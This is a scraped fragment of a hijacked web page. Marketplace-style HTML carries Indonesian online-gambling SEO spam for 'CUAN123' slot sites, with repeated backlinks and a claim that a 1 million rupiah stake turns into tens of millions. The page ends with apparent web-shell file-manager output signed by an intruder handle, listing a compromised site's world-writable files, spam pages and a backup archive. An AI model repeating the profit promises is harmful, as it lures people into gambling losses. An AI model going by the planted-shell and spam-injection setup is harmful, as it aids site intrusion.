line-height: 20px; -webkit-letter-spacing: 0px; -moz-letter-spacing: 0px; -ms-letter-spacing: 0px; letter-spacing: 0px; color: var(--NN950, #212121); -webkit-text-decoration: initial; text-decoration: initial; margin: 0; margin-bottom: 12px; line-height: 20px; } .css-x7tz35-unf-heading span { text-transform: capitalize; color: var(--NN600, #6D7588); font-weight: normal; } </style> <p data-unify="Typography" class="css-x7tz35-unf-heading e1qvo2ff8" data-testid="pdpVariantTitle#0">FITUR TERBARU:<span> </span></p> <style data-emotion-css="hayuji"> .css-hayuji { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wrap: wrap; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; margin-left: -2px; } </style> <div class="css-hayuji"> <style data-emotion-css="1y1bj62"> .css-1y1bj62 { padding: 4px 2px; display: -webkit-inline-box; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex; } </style> <div class="css-1y1bj62" data-testid="btnVariantChipActiveSelected"> <style data-emotion-css="uv3tea-unf-chip"> .css-uv3tea-unf-chip { display: -webkit-inline-box; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; vertical-align: top; margin-bottom: 8px; margin-right: 8px; background-color: var(--NN0, #FFFFFF); border-radius: 12px; border-width: 1px; border-style: solid; border-color: var(--NN300, #BFC9D9); border-style: solid; color: var(--NN600, #6D7588); -webkit-flex: 1; -ms-flex: 1; flex: 1; -webkit-flex-wrap: nowrap; -ms-flex-wrap: nowrap; flex-wrap: nowrap; font-size: 1rem; line-height: 1.2857142857142858rem; height: 40px; padding: 4px 12px; text-overflow: ellipsis; -webkit-transition: 200ms cubic-bezier(0.63, 0.01, 0.29, 1); transition: 200ms cubic-bezier(0.63, 0.01, 0.29, 1); white-space: nowrap; overflow: hidden; cursor: pointer; border-radius: 12px; position: relative; cursor: pointer; border: 1px solid var(--NN300, #BFC9D9); -webkit-transition: all 0s; transition: all 0s; margin: 0; color: var(--GN500, #00AA5B); background-color: var(--GN50, #ECFEF4); border: 1px solid var(--GN400, #20CE7D); } .css-uv3tea-unf-chip .e6yxrl0 { opacity: 1; } .css-uv3tea-unf-chip:focus-visible { outline: 2px dotted var(--PN500, #9342ED); outline-offset: 3px; } .css-uv3tea-unf-chip .promo-label { position: absolute; bottom: -21px; right: -11px; background: var(--RN500, #F94D63); width: 26px; height: 47px; -webkit-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; font-size: 10px; padding: 2px; } .css-uv3tea-unf-chip .promo-label img { -webkit-transform: rotate(135deg); -ms-transform: rotate(135deg); transform: rotate(135deg); } .css-uv3tea-unf-chip i { margin-right: 8px; } .css-uv3tea-unf-chip:hover { border: 1px solid var(--GN400, #20CE7D); color: var(--GN500, #00AA5B); } </style><button data-unify="Chip" type="button" class="css-uv3tea-unf-chip e6yxrl1">CUAN123</button> </div> <div class="css-1y1bj62" data-testid="btnVariantChipInactive"> <style data-emotion-css="10qfd4z-unf-chip"> .css-10qfd4z-unf-chip { display: -webkit-inline-box; display: -webkit-inline-flex; display: -ms-inline-flexbox; display: inline-flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; vertical-align: top; margin-bottom: 8px; margin-right: 8px; background-color: var(--NN0, #FFFFFF); border-radius: 12px; border-width: 1px; border-style: solid; border-color: var(--NN300, #BFC9D9); border-style: solid; color: var(--NN600, #6D7588); -webkit-flex: 1; -ms-flex: 1; flex: 1; -webkit-flex-wrap: nowrap; -ms-flex-wrap: nowrap; flex-wrap: nowrap; font-size: 1rem; line-height: 1.2857142857142858rem; height: 40px; padding: 4px 12px; text-overflow: ellipsis; -webkit-transition: 200ms cubic-bezier(0.63, 0.01, 0.29, 1); transition: 200ms cubic-bezier(0.63, 0.01, 0.29, 1); white-space: nowrap; overflow: hidden; cursor: pointer; border-radius: 12px; position: relative; cursor: pointer; border: 1px solid var(--NN300, #BFC9D9); -webkit-transition: all 0s; transition: all 0s; margin: 0; border: 1px solid transparent; background-color: var(--NN50, #F0F3F7); color: var(--NN400, #AAB4C8); } .css-10qfd4z-unf-chip .e6yxrl0 { opacity: 1; } .css-10qfd4z-unf-chip:focus-visible { outline: 2px dotted var(--PN500, #9342ED); outline-offset: 3px; } .css-10qfd4z-unf-chip .promo-label { position: absolute; bottom: -21px; right: -11px; background: var(--RN500, #F94D63); width: 26px; height: 47px; -webkit-transform: rotate(45deg); -ms-transform: rotate(45deg); transform: rotate(45deg); display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; font-size: 10px; padding: 2px; } .css-10qfd4z-unf-chip .promo-label img { -webkit-transform: rotate(135deg); -ms-transform: rotate(135deg); transform: rotate(135deg); } .css-10qfd4z-unf-chip i { margin-right: 8px; } .css-10qfd4z-unf-chip:hover { border: 1px solid var(--GN400, #20CE7D); color: var(--GN500, #00AA5B); } </style><button data-unify="Chip" type="button" class="css-10qfd4z-unf-chip e6yxrl1">LINK SLOT GACOR</button> </div> <div class="css-1y1bj62" data-testid="btnVariantChipInactive"><button data-unify="Chip" type="button" class="css-10qfd4z-unf-chip e6yxrl1">SCATTER HITAM</button></div> <div class="css-1y1bj62" data-testid="btnVariantChipInactive"><button data-unify="Chip" type="button" class="css-10qfd4z-unf-chip e6yxrl1">SERVER THAILAND</button></div> <div class="css-1y1bj62" data-testid="btnVariantChipInactive"><button data-unify="Chip" type="button" class="css-10qfd4z-unf-chip e6yxrl1">SITUS SLOT ONLINE</button></div> </div> </div> </div> <style data-emotion-css="1ds9ge9"> .css-1ds9ge9 { background-color: var(--NN0, #FFFFFF); margin-bottom: 0; -webkit-transition: background-color 0.3s ease-in-out; transition: background-color 0.3s ease-in-out; position: absolute; width: calc(100% + 24px); top: -16px; bottom: -16px; left: -12px; } </style> <div class="css-1ds9ge9"></div> </div> </div> <style data-emotion-css="1wa8o67"> .css-1wa8o67 { grid-area: product_detail; margin: 0; } </style> <div id="pdp_comp-product_detail" class="css-1wa8o67"> <div data-name="product_detail" class="css-1ifrycw"></div> <div> <style data-emotion-css="1bl48du-unf-tab-wrapper"> .css-1bl48du-unf-tab-wrapper { position: relative; } .css-1bl48du-unf-tab-wrapper>.unf-tab__button { background-color: var(--color-page-background, #FFFFFF); box-shadow: 0px 1px 6px var(--color-shadow, rgba(49, 53, 59, 0.12)); border: none; border-radius: 50%; bottom: 0; cursor: pointer; height: 40px; margin: auto; opacity: 0; position: absolute; top: 0; -webkit-transition: opacity 280ms ease-in-out, visibility 280ms ease-in-out; transition: opacity 280ms ease-in-out, visibility 280ms ease-in-out; visibility: hidden; width: 40px; } .css-1bl48du-unf-tab-wrapper>.unf-tab__button::before { background-image: url(//assets-tokopedia-lite/v2/zeus/kratos/c93e3895.svg); background-repeat: no-repeat; background-size: cover; content: ''; display: block; height: 32px; margin: auto; width: 32px; } .css-1bl48du-unf-tab-wrapper>.unf-tab__button.prev::before { margin: auto -3px; } .css-1bl48du-unf-tab-wrapper>.unf-tab__button:focus { outline: none; } .css-1bl48du-unf-tab-wrapper>.unf-tab__button.next { right: -20px; } .css-1bl48du-unf-tab-wrapper>.unf-tab__button.prev { left: -20px; } .css-1bl48du-unf-tab-wrapper>.unf-tab__button.next::before { -webkit-transform: rotate(90deg); -ms-transform: rotate(90deg); transform: rotate(90deg); } .css-1bl48du-unf-tab-wrapper>.unf-tab__button.prev::before { -webkit-transform: rotate(270deg); -ms-transform: rotate(270deg); transform: rotate(270deg); } .css-1bl48du-unf-tab-wrapper>.unf-tab__button.active { opacity: 1; visibility: visible; } </style> <div data-unify="Tab" class="css-1bl48du-unf-tab-wrapper ehv0kkf0"> <style data-emotion-css="78ch3k-unf-tab-holder"> .css-78ch3k-unf-tab-holder { background-color: var(--color-page-background, #FFFFFF); border-bottom: 1px solid var(--NN300, #BFC9D9); display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; min-height: 44px; overflow-x: auto; overflow-y: hidden; position: relative; white-space: nowrap; min-height: 38px; margin-top: -16px; border-bottom: 1px solid var(--NN50, #F0F3F7); background-color: var(--NN0, #FFFFFF); } .css-78ch3k-unf-tab-holder .ehv0kkf1 { background-color: var(--GN500, #00AA5B); } .css-78ch3k-unf-tab-holder::-webkit-scrollbar { display: none; } @-moz-document url-prefix() { .css-78ch3k-unf-tab-holder { -webkit-scrollbar-width: none; -moz-scrollbar-width: none; -ms-scrollbar-width: none; scrollbar-width: none; } } .css-78ch3k-unf-tab-holder .tab-item { padding-top: 10px; padding-bottom: 10px; height: 38px; font-size: 1rem; font-weight: 800; } </style> <div class="css-78ch3k-unf-tab-holder ehv0kkf2" role="tablist"> <style data-emotion-css="3lvael"> .css-3lvael { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; box-sizing: border-box; min-height: 44px; padding: 10px 24px; line-height: 24px; font-weight: 800; text-transform: capitalize; font-size: 14px; cursor: pointer; background-color: transparent; border: none; -webkit-appearance: none; height: 100%; pointer-events: auto; -webkit-transition: color 300ms cubic-bezier(0.63, 0.01, 0.29, 1); transition: color 300ms cubic-bezier(0.63, 0.01, 0.29, 1); } .css-3lvael p, .css-3lvael h1, .css-3lvael h2, .css-3lvael h3, .css-3lvael h4, .css-3lvael h5, .css-3lvael h6, .css-3lvael span { color: var(--GN500, #00AA5B); -webkit-transition: color 300ms cubic-bezier(0.63, 0.01, 0.29, 1); transition: color 300ms cubic-bezier(0.63, 0.01, 0.29, 1); } .css-3lvael:focus-visible { outline: 2px dotted var(--PN500, #9342ED); outline-offset: 3px; } .css-3lvael:focus-visible { outline-offset: -2px; } </style><button aria-selected="true" role="tab" type="button" data-testid="tabPDPDetail" class="tab-item css-3lvael ehv0kkf3"> <style data-emotion-css="l5do8o-unf-heading"> @font-face { font-family: Open Sauce One; src: local('Open Sauce One Regular'), url('//asts/unify/fonts/OpenSauceOne-Regular.woff2') format('woff2'); font-weight: 400; font-style: normal; } @font-face { font-family: Open Sauce One; src: local('Open Sauce One ExtraBold'), url('//asts/unify/fonts/OpenSauceOne-ExtraBold.woff2') format('woff2'); font-weight: 800; font-style: normal; } .css-l5do8o-unf-heading { display: block; position: relative; font-weight: 800; font-family: Open Sauce One, 'Nunito Sans', -apple-system, sans-serif; font-size: 1rem; line-height: 18px; -webkit-letter-spacing: 0px; -moz-letter-spacing: 0px; -ms-letter-spacing: 0px; letter-spacing: 0px; color: var(--NN600, #6D7588); -webkit-text-decoration: initial; text-decoration: initial; color: var(--GN500, #00AA5B); display: inline-block; margin: 0; overflow: hidden; text-overflow: ellipsis; vertical-align: middle; width: 100%; white-space: nowrap; } </style> <p data-unify="Typography" class="css-l5do8o-unf-heading e1qvo2ff8">Detail</p> </button> <style data-emotion-css="shh8ju"> .css-shh8ju { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-align-items: center; -webkit-box-align: center; -ms-flex-align: center; align-items: center; box-sizing: border-box; min-height: 44px; padding: 10px 24px; line-height: 24px; font-weight: 800; text-transform: capitalize; font-size: 14px; cursor: pointer; background-color: transparent; border: none; -webkit-appearance: none; height: 100%; pointer-events: auto; -webkit-transition: color 300ms cubic-bezier(0.63, 0.01, 0.29, 1); transition: color 300ms cubic-bezier(0.63, 0.01, 0.29, 1); } .css-shh8ju p, .css-shh8ju h1, .css-shh8ju h2, .css-shh8ju h3, .css-shh8ju h4, .css-shh8ju h5, .css-shh8ju h6, .css-shh8ju span { color: var(--NN600, #6D7588); -webkit-transition: color 300ms cubic-bezier(0.63, 0.01, 0.29, 1); transition: color 300ms cubic-bezier(0.63, 0.01, 0.29, 1); } .css-shh8ju:focus-visible { outline: 2px dotted var(--PN500, #9342ED); outline-offset: 3px; } .css-shh8ju:focus-visible { outline-offset: -2px; } </style><button aria-selected="false" role="tab" tabindex="-1" type="button" data-testid="tabPDPInfoPenting" class="tab-item css-shh8ju ehv0kkf3"> <style data-emotion-css="13xbs5z-unf-heading"> @font-face { font-family: Open Sauce One; src: local('Open Sauce One Regular'), url('//asts/unify/fonts/OpenSauceOne-Regular.woff2') format('woff2'); font-weight: 400; font-style: normal; } @font-face { font-family: Open Sauce One; src: local('Open Sauce One ExtraBold'), url('//asts/unify/fonts/OpenSauceOne-ExtraBold.woff2') format('woff2'); font-weight: 800; font-style: normal; } .css-13xbs5z-unf-heading { display: block; position: relative; font-weight: 800; font-family: Open Sauce One, 'Nunito Sans', -apple-system, sans-serif; font-size: 1rem; line-height: 18px; -webkit-letter-spacing: 0px; -moz-letter-spacing: 0px; -ms-letter-spacing: 0px; letter-spacing: 0px; color: var(--NN600, #6D7588); -webkit-text-decoration: initial; text-decoration: initial; color: var(--NN600, #6D7588); display: inline-block; margin: 0; overflow: hidden; text-overflow: ellipsis; vertical-align: middle; width: 100%; white-space: nowrap; } </style> <p data-unify="Typography" class="css-13xbs5z-unf-heading e1qvo2ff8"> <style data-emotion-css="1xftcyf-unf-loader-shimmer-line"> .css-1xftcyf-unf-loader-shimmer-line { display: block; height: 18px; width: 80px; border-radius: 4px; background-color: var(--N100, #DBDEE2); margin-bottom: 0; background-image: linear-gradient(89deg, var(--N50, #F3F4F5), var(--N100, #DBDEE2)); background-size: 99% 100%; background-repeat: no-repeat; -webkit-animation: animation-1v174bd 1.3s linear 1ms infinite backwards; animation: animation-1v174bd 1.3s linear 1ms infinite backwards; } </style><span width="80px" height="18px" data-unify="LoaderLine" class="css-1xftcyf-unf-loader-shimmer-line egq86ck2"></span> </p> </button> <style data-emotion-css="13jshbk-unf-indicator"> .css-13jshbk-unf-indicator { min-width: 16px; width: 0px; height: 2px; border-radius: 1px; background-color: var(--GN500, #00AA5B); position: absolute; bottom: 0; left: 0px; -webkit-transition-property: left width; transition-property: left width; -webkit-transition-duration: 300ms; transition-duration: 300ms; -webkit-transition-timing-function: cubic-bezier(0.63, 0.01, 0.29, 1); transition-timing-function: cubic-bezier(0.63, 0.01, 0.29, 1); } </style> <div width="0" class="css-13jshbk-unf-indicator ehv0kkf1"></div> </div> </div> <div role="tabpanel"> <style data-emotion-css="1dqq1xv"> .css-1dqq1xv { display: -webkit-box; display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-flex-flow: column wrap; -ms-flex-flow: column wrap; flex-flow: column wrap; height: 72px; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap; flex-wrap: wrap; margin-bottom: -4px; padding: 0; } </style> <style data-emotion-css="16inwn4"> .css-16inwn4 { margin-top: 12px; font-size: 1rem; line-height: 20px; color: var(--NN950, #212121); } .css-16inwn4 a { color: var(--GN500, #00AA5B); } </style> <div class="css-16inwn4"> <style data-emotion-css="o0scwi"> .css-o0scwi { display: block; overflow: hidden; max-height: 12000px; } </style><span class="css-o0scwi eytdjj00"> <style data-emotion-css="168ydy0"> .css-168ydy0 { display: -webkit-box; -webkit-line-clamp: unset; -webkit-box-orient: vertical; text-overflow: ellipsis; overflow: hidden; word-break: break-word; } </style><span class="css-168ydy0 eytdjj01"> <div data-testid="lblPDPDescriptionProduk"> <p style="text-align: justify;">CUAN123 adalah situs rekomendasi <a href="https://letusbuildcullypark.org/">slot gacor</a> dengan menyediakan provider slot88 menjadikan situs ini memiliki link akses tanpa gangguan jaringan terbaik. Menawarkan situs slot gacor tanpa adanya gangguan jaringan menjadikan situs CUAN123 sebagai rekomendasi slot gacor terbaik sepanjang masa. Hampir tidak pernah terdengar bahwa situs slot gacor ini tidak dapat diakses.</p> <p style="text-align: justify;">CUAN123 menyediakan slot88 untuk dapat diakses secara global dengan jaringan terbaik untuk diberikan kepada para pemain slot gacor. Dapatkan situs ini secara gratis hanya dengan mengetik di search engine google “Rekomendasi slot gacor provider slot88 link akses tanpa gangguan” maka anda akan mendapatkan link terbaik dari slot gacor.</p> <p style="text-align: justify;">Link terbaik dari situs <a href="https://letusbuildcullypark.org/">CUAN123</a> untuk dapat mengakses provider slot88 adalah link alternatif. Dengan copy link ini anda dapat masuk kapanpun anda mau karena sudah bebas akses tanpa hambatan seperti nawala maupun trust positif. Dapatkan link alternatif slot88 lewat live chat.</p> <p style="text-align: justify;">Selain dari itu semua slot88 juga dapat menjadi peluang bisnis cuan yang sangat besar, dimana cukup memerlukan modal sebesar 1 juta rupiah anda dapat meraup keuntungan hingga puluhan juta hanya dalam bermain slot gacor dari provider slot88. Dapatkan akun baru anda segera dan jangan sampai ketinggalan promo dan bonus setiap hari.</p> <p style="text-align: justify;">Prestasi serta apresiasi dari setiap member terhadap situs CUAN123 menjadikan situs ini semakin kokoh dan semangat dalam melayani anda lewat permainan slot gacor. Melalui provider slot88 anda dapat membuka kesempatan emas hari ini juga dengan bermain tanpa hambatan.</p> <h2 style="text-align: center;"><strong>Provider Slot88 dari Situs CUAN123 yang Menjadi Slot Gacor</strong></h2> <p style="text-align: justify;">Provider <a href="https://letusbuildcullypark.org/">slot88</a> adalah grup baru dan masih tergolong sangat muda, namun begitu slot88 satu ini sudah berhasil menyaingi pasar dari permainan slot gacor lainnya. Pragmatic play maupun Pg Soft juga memiliki market / pasar yang sama dengan slot88. Tergolong memiliki permainan paling laris sebagai rekomendasi slot gacor, simak dibawah ini untuk mengetahui kriteria setiap permainan slot:</p> <ol> <li style="text-align: justify;">Slot88 Link CUAN123 Tiger New Year<br />Merupakan permainan taruhan online terbaik yang mengambil tema fauna sehingga menarik untuk mencari dan memainkan putaran <a href="https://letusbuildcullypark.org/">slot</a> gacor satu ini.</li> <li style="text-align: justify;">Slot88 Link CUAN123 Hong Long Meng<br />Menyediakan scatter yang mudah diperoleh, cukup mengumpulkan 3 buah scatter anda berkesempatan mendapatkan putaran gratis sebanyak 12 kali.</li> <li style="text-align: justify;">Slot88 Link CUAN123 Bonus Bear<br />Hampir mirip dengan Tiger New Year namun slot88 satu ini lebih identik dengan mengumpulkan madu untuk mendapatkan bonus tambahan di permainan slot gacor terbaik satu ini, tentu dengan style bermain yang aman dapat membantu anda mencapai kemenangan tertinggi.</li> <li style="text-align: justify;">Slot88 Link CUAN123 Robin Hoot<br />Terinspirasi dari cerita kartun dan dongeng rakyat membuat slot88 mengambil kesempatan dalam mengembangkan permainan bertema pahlawan robin dengan busur panah nya yang dapat menjadi scatter dalam permainan slot ini.</li> <li style="text-align: justify;">Slot88 Link CUAN123 Richtree<br />Jenis slot88 satu ini sedang dalam masa maintenance atau dalam perbaikan bug karena pola yang sering diberikan mengalami sedikit perubahan algoritma sehingga pemain kesulitan membedakan warna dan bentuk simbol, Namun tidak perlu khawatir karena tim terkait akan memperbaiki masalah ini dengan secepat mungkin.</li> <li style="text-align: justify;">Slot88 Link CUAN123 Hot Hot Fruit<br />Slot gacor satu ini bertema buah - buahan segar yang dapat merubah pecahan menjadi coin tambahan, cukup mengumpulkan 4 buah scatter anda berhak melanjutkan ke step permainan free spin atau putaran gratis yang dapat memicu terjadinya maxwin dengan rate yang sangat tinggi untuk sebuah permainan slot gacor CUAN123.</li> </ol> <p style="text-align: justify;">Demikian adalah berbagai jenis slot gacor yang disediakan oleh situs CUAN123 lewat provider slot88 yang sudah tidak dipungkiri dengan mudah memberikan kemenangan maxwin.</p> </div> </span> </span> </div> </div> </div> </div> <script nonce="TXznVweNzUj0yRULBC0PiA=="> "use strict"; window.addEventListener('DOMContentLoaded', function () { window.ga && window.ga('create', 'UA-9801603-1', 'auto', { useAmpClientId: true }) && window.ga( function (tracker) { tracker.set('dimension113', tracker.get('clientId')); } ); }); </script> <script type="text/javascript" nonce="TXznVweNzUj0yRULBC0PiA=="> try { if (window.newrelic) { window.newrelic.setCustomAttribute("service", "zeus"); window.newrelic.setCustomAttribute("env", "production"); window.newrelic.setCustomAttribute("sw", window.__shell); window.newrelic.setCustomAttribute("version", window.version); window.newrelic.setCustomAttribute("xdevice", window.xdevice); window.newrelic.setCustomAttribute("isBot", "false"); function __getCookie(e) { for (var n = e + "=", t = decodeURIComponent(document.cookie).split(";"), o = 0; o < t.length; o++) { for (var r = t[o]; " " == r.charAt(0);)r = r.substring(1); if (0 == r.indexOf(n)) return r.substring(n.length, r.length) } return "" } var NR_SID = __getCookie("NR_SID") || ""; window.newrelic.setCustomAttribute("nrSession", NR_SID); if (window.__PAGE_TYPE__) { window.newrelic.setCustomAttribute("pageType", window.__PAGE_TYPE__); window.newrelic.setPageViewName(window.__PAGE_TYPE__, window.location.hostname); } if (window.navigator.userAgent) { window.newrelic.setCustomAttribute("isLighthouse", /Chrome-Lighthouse/i.test(navigator.userAgent)); window.newrelic.setCustomAttribute("isLoadtest", /dexter/i.test(navigator.userAgent)); } window.newrelic.addRelease("zeus", window.version); var __NR_IGNORED_ERRORS = ["Script error.", "Branch SDK not initialized", "getReadModeExtract", "Loading chunk"]; function __shouldIgnoreNRError(err) { if (!err) { return true; } var _r = false; for (var index = 0; index < __NR_IGNORED_ERRORS.length; index++) { try { var ignoredErr = __NR_IGNORED_ERRORS[index]; var _strErr = typeof err === "string" ? err : JSON.stringify(err); if (_strErr.indexOf(ignoredErr) >= 0) { _r = true; break; } } catch (e) { console.debug(e); } } return _r; } window.newrelic.setErrorHandler(function (err) { return __shouldIgnoreNRError(err); }); } } catch (e) { console.debug(e); } </script> <script type="text/javascript" nonce="9f60af1c1c664cf5478d5a83aea58291" src="/Gt8dyGvHP67yCEi_K0PO/VXJYm8V6Xf/ZyMtejt5PAc/LH/wQczhheQE"></script> </div></div></div></div> </body> </html>
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
.well-known
---
0777
author
---
0777
avatar
---
0777
category
---
0777
cgi-bin
---
0777
page
---
0777
wp-content
---
0777
wp-includes
---
0777
.htaccess
654 bytes
0777
.htaccess_file_editor
2295 bytes
0777
.htaccess_live
2153 bytes
0777
alat-mitra-higgs-domino.html
681 bytes
0777
aplikasi-baca-komik.html
681 bytes
0777
aplikasi-cek-bansos.html
681 bytes
0777
aplikasi-penghasil-saldo-dana.html
681 bytes
0777
aplikasi-yang-harus-ada-di-laptop.html
681 bytes
0777
cara-berlangganan-youtube-premium.html
681 bytes
0777
cara-menambah-limit-paylater-shopee.html
681 bytes
0777
cara-mendapatkan-shopeepay-gratis.html
681 bytes
0777
cara-mengatasi-laptop-lemot-windows-10.html
681 bytes
0777
cara-menghapus-riwayat-pencarian-di-play-store.html
681 bytes
0777
cara-mengubah-kuota-edukasi-menjadi-kuota-utama.html
681 bytes
0777
cara-transfer-kuota-telkomsel.html
681 bytes
0777
download-sound-tiktok.html
681 bytes
0777
files_count.xml
1172 bytes
0777
gb-whatsapp.html
681 bytes
0777
google1913f18a457e6ebd.html
53 bytes
0777
google72e709e73b71af6d.html
53 bytes
0777
googlebd4f87b5134a4bbe.html
53 bytes
0777
index.html
306614 bytes
0777
kalkulator-snack-video.html
681 bytes
0777
kinemaster-diamond.html
681 bytes
0777
kinemaster-pro.html
681 bytes
0777
kode-bank-bsi-terbaru-2021.html
681 bytes
0777
kontak.html
681 bytes
0777
lightroom-mod-2.html
681 bytes
0777
lpmplampung.id_dataseocuan123_gmail.com_kbmi165aqm_backup.zip
1322206 bytes
0777
netflix-tidak-bisa-dibuka.html
681 bytes
0777
nginx.txt
1482 bytes
0777
picsart-pro.html
681 bytes
0777
privacy-policy.html
681 bytes
0777
robots.txt
43 bytes
0777
sensitivitas-ff-auto-headshot.html
681 bytes
0777
setting-auto-clicker-higgs-domino.html
681 bytes
0777
sitemap.xml
4862 bytes
0777
sound-of-text.html
681 bytes
0777
ssstiktok.html
681 bytes
0777
tdomino-boxiangyx.html
681 bytes
0777
tentang.html
681 bytes
0777
whatsapp-aero.html
681 bytes
0777
whatsapp-mod.html
681 bytes
0777
N4ST4R_ID | Naxtarrr